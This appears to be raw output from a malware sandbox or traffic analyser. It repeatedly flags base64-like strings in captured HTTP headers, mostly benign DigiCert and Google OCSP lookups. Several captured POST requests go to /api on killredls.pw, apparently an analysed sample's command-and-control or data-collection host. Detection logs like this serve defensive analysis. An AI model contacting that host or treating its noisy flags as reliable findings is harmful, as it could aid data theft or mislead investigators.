Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /DigiCertGlobalRootG3.crt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: cacerts.digicert.com" Contains base64 string in header "User" in header "GET /DigiCertGlobalRootG3.crt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: cacerts.digicert.com" Contains base64 string in header "digicert" in header "GET /DigiCertGlobalRootG3.crt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: cacerts.digicert.com" Contains base64 string in header "Keep" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Cache-Control: max-age = 14400Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2FUsCEHe9DWzbNvka6iEPxPBY0w0" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Cache-Control: max-age = 14400Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Cache-Control: max-age = 14400Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Cache-Control: max-age = 14400Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Cache-Control: max-age = 14400Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Cache-Control: max-age = 14400Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2Bsl" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAyrYs0K8fIgDBkW1BOTO8g%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAyrYs0K8fIgDBkW1BOTO8g%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAyrYs0K8fIgDBkW1BOTO8g%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAyrYs0K8fIgDBkW1BOTO8g%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAyrYs0K8fIgDBkW1BOTO8g%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BWU" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnxLiz3Fu1WB6n1%2FE6xWn1b0jXiQQUdIWAwGbH3zfez70pN6oDHb7tzRcCEAp6FnkBkACKqk%2BVbKsyAbY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnxLiz3Fu1WB6n1%2FE6xWn1b0jXiQQUdIWAwGbH3zfez70pN6oDHb7tzRcCEAp6FnkBkACKqk%2BVbKsyAbY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnxLiz3Fu1WB6n1%2FE6xWn1b0jXiQQUdIWAwGbH3zfez70pN6oDHb7tzRcCEAp6FnkBkACKqk%2BVbKsyAbY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnxLiz3Fu1WB6n1%2FE6xWn1b0jXiQQUdIWAwGbH3zfez70pN6oDHb7tzRcCEAp6FnkBkACKqk%2BVbKsyAbY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAqiBEK" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAqiBEK%2F1RSvcy4lL46SQ4M%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAqiBEK%2F1RSvcy4lL46SQ4M%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAqiBEK%2F1RSvcy4lL46SQ4M%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAqiBEK%2F1RSvcy4lL46SQ4M%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAqiBEK%2F1RSvcy4lL46SQ4M%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: killredls.pw" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: killredls.pw" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: killredls.pw" Contains base64 string in header "AliveContent" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: killredls.pw" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: killredls.pw" Contains base64 string in header "form" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: killredls.pw" Contains base64 string in header "like" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 8Host: killredls.pw" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: killredls.pwContent-Length: 52Cache-Control: no-cache" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: killredls.pwContent-Length: 52Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: killredls.pwContent-Length: 52Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: killredls.pwContent-Length: 52Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: killredls.pwContent-Length: 52Cache-Control: no-cache" Contains base64 string in header "like" in header "POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Host: killredls.pwContent-Length: 52Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw" Contains base64 string in header "AliveContent" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw" Contains base64 string in header "data" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw" Contains base64 string in header "like" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw" Contains base64 string in header "2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" 